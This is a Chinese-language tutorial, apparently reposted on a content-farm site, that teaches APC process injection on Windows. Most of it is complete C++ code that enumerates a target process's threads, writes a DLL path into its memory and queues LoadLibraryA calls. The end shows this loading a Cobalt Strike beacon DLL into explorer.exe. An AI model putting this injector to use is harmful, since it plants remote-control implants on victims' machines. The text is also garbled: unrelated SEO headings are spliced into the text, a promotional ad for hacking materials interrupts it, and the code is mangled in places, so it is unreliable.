APC进程注入_进程APP

2023-03-26 01:22:29

 

1.进程api

本文转载自平台:先知社区原文链接:https://xz.aliyun.com/t/11572作者:MCY5什么是APCAPC 是一个简称,全称为Asynchronous Procedure Call,叫异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。

2.apc注入dll

MSDN解释为:

3.进程注入有什么用

相关函数QueueUserApc:函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中APCproc:函数作用: 回调函数的写法.核心函数QueueUserAPCDWORD QueueUserAPC

4.进程ipc

( PAPCFUNCpfnAPC, // APC function HANDLEhThread, // handle to thread ULONG_PTRdwData // APC function parameter

5.进程aissca.exe

);参数1表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行参数2表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT 访问权限参数3表示传递给执行函数的参数,与远线程注入类似,如果。

6.application进程

QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“领取”获取——】1.网络安全多个方向学习路线

7.advapi进程

2.全网最全的CTF入门学习资料3.一线大佬实战经验分享笔记4.网安大厂面试题合集5.红蓝对抗实战技术秘籍6.网络安全基础入门、Linux、web安全、渗透测试方面视频实现原理往线程APC队列添加APC,系统会产生一个软中断。

8.进程注入dll有什么用

在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC介绍一下应用程序的APCAPC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的.在Msdn的写法如下

9.caja进程

上面说到要要使用SleepEx,signalObjectAndWait.....等等这些函数才会触发这就有了APC注入的条件:1.必须是多线程环境下2.注入的程序必须会调用上面的那些同步对象.注入方法原理。

10.进程attach

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数3.我们利用QueueUserApc,往这个队列中插入一个回调4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

使用方法1.利用快照枚举所有的线程2.写入远程内存,写入的是Dll的路径3.插入我们的DLL即可实现过程编写一个根据进程名获取pid的函数,然后根据PID获取所有的线程ID,这里我就将两个函数集合在一起,通过自己输入PID来获取指定进程的线程并写入数组

//列出指定进程的所有线程BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) {

// 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList =

NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL

, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList ==

NULL) { returnFALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof

(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

if (hThreadSnap == INVALID_HANDLE_VALUE) { returnFALSE; } // 结构的大小 th32.dwSize =

sizeof(THREADENTRY32); // 遍历所有THREADENTRY32结构, 按顺序填入数组BOOL bRet = Thread32First(hThreadSnap, &th32);

while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) {

break; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList;

returnTRUE; }然后是apc注入的主函数,首先使用VirtualAllocEx远程申请内存BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) {

// 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (lpAddr == NULL) { ShowError("VirtualAllocEx - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess);

returnFALSE; } // 把Dll的路径复制到内存中if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) +

1) * sizeof(wzDllFullPath), nullptr)) { ShowError("WriteProcessMemory - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess);

returnFALSE; } // 获得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle(

"kernel32.dll"), "LoadLibraryA"); // 遍历线程, 插入APC float fail = 0; for (int i = dwThreadIdListLength -

1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);

if (hThread) { // 插入APCif (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; }

// 关闭线程句柄 ::CloseHandle(hThread); hThread = NULL; } }使用WriteProcessMemory

把dll路径写入内存::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath),

nullptr)获取LoadLibraryA的地址PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"

), "LoadLibraryA");便利线程并插入APC,这里定义一个fail并进行判断,如果QueueUserAPC返回的值为NULL则线程遍历失败,fail的值就+1for (int i = dwThreadIdListLength -

1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);

if (hThread) { // 插入APCif (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } } }

主函数,定义dll地址strcpy_s(wzDllFullPath, "加载要注入的dll的路径");使用OpenProcess打开句柄HANDLEhProcess=OpenProcess(PROCESS_VM_OPERATION

|PROCESS_VM_WRITE,FALSE,ulProcessID);调用前面写好的APCInject函数实现APC注入if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) {

printf("Failed to inject DLL\n"); return FALSE; }采用手动输入的方式,通过cin >> ulProcessID将接收到的参数赋给ulProcessID

利用此方法上线CS完整代码// inject3.cpp : 此文件包含 "main" 函数程序执行将在此处开始并结束#include#include#include。

usingnamespacestd; voidShowError(constchar* pszText){ char szError[MAX_PATH] = { 0 }; ::wsprintf(szError,

"%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); }

//列出指定进程的所有线程BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)

{ // 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList =

NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL

, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList ==

NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof

(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize =

sizeof(THREADENTRY32); //遍历所有THREADENTRY32结构, 按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32);

while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) {

break; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList;

return TRUE; } BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)

{ // 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess,

nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { ShowError(

"VirtualAllocEx - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess);

return FALSE; } // 把Dll的路径复制到内存中if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (

strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)) { ShowError("WriteProcessMemory - Error\n\n"

); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess);

return FALSE; } // 获得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle(

"kernel32.dll"), "LoadLibraryA"); // 遍历线程, 插入APCfloat fail = 0; for (int i = dwThreadIdListLength -

1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);

if (hThread) { // 插入APCif (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; }

// 关闭线程句柄 ::CloseHandle(hThread); hThread = NULL; } } printf

("Total Thread: %d\n", dwThreadIdListLength); printf("Total Failed: %d\n", (int)fail); if ((

int)fail == 0 || dwThreadIdListLength / fail > 0.5) { printf("Success to Inject APC\n");

return TRUE; } else { printf("Inject may be failed\n"); return FALSE; } }

intmain(){ ULONG32 ulProcessID = 0; printf("Input the Process ID:"); cin >> ulProcessID; CHAR wzDllFullPath[MAX_PATH] = {

0 }; LPDWORD pThreadIdList = NULL; DWORD dwThreadIdListLength = 0; #ifndef _WIN64 strcpy_s(wzDllFullPath,

"加载要注入的dll的路径"); #else// _WIN64 strcpy_s(wzDllFullPath, "加载要注入的dll的路径"); #endifif (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength)) {

printf("Can not list the threads\n"); exit(0); } //打开句柄 HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

if (hProcess == NULL) { printf("Failed to open Process\n"); return FALSE; }

//注入if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf

("Failed to inject DLL\n"); return FALSE; } return0; }上线cs首先CS建立监听,生成一个恶意dll文件

在目标机上运行编译好的exe文件,并输入要注入进程的PID,这里我使用explorer.exe测试

编译,输入PID

查看CS,已经成功上线,且进程也加载了beacon.dll.


以上就是关于《APC进程注入_进程APP》的全部内容,本文网址:https://www.7ca.cn/baike/8090.shtml,如对您有帮助可以分享给好友,谢谢。
标签:
声明

排行榜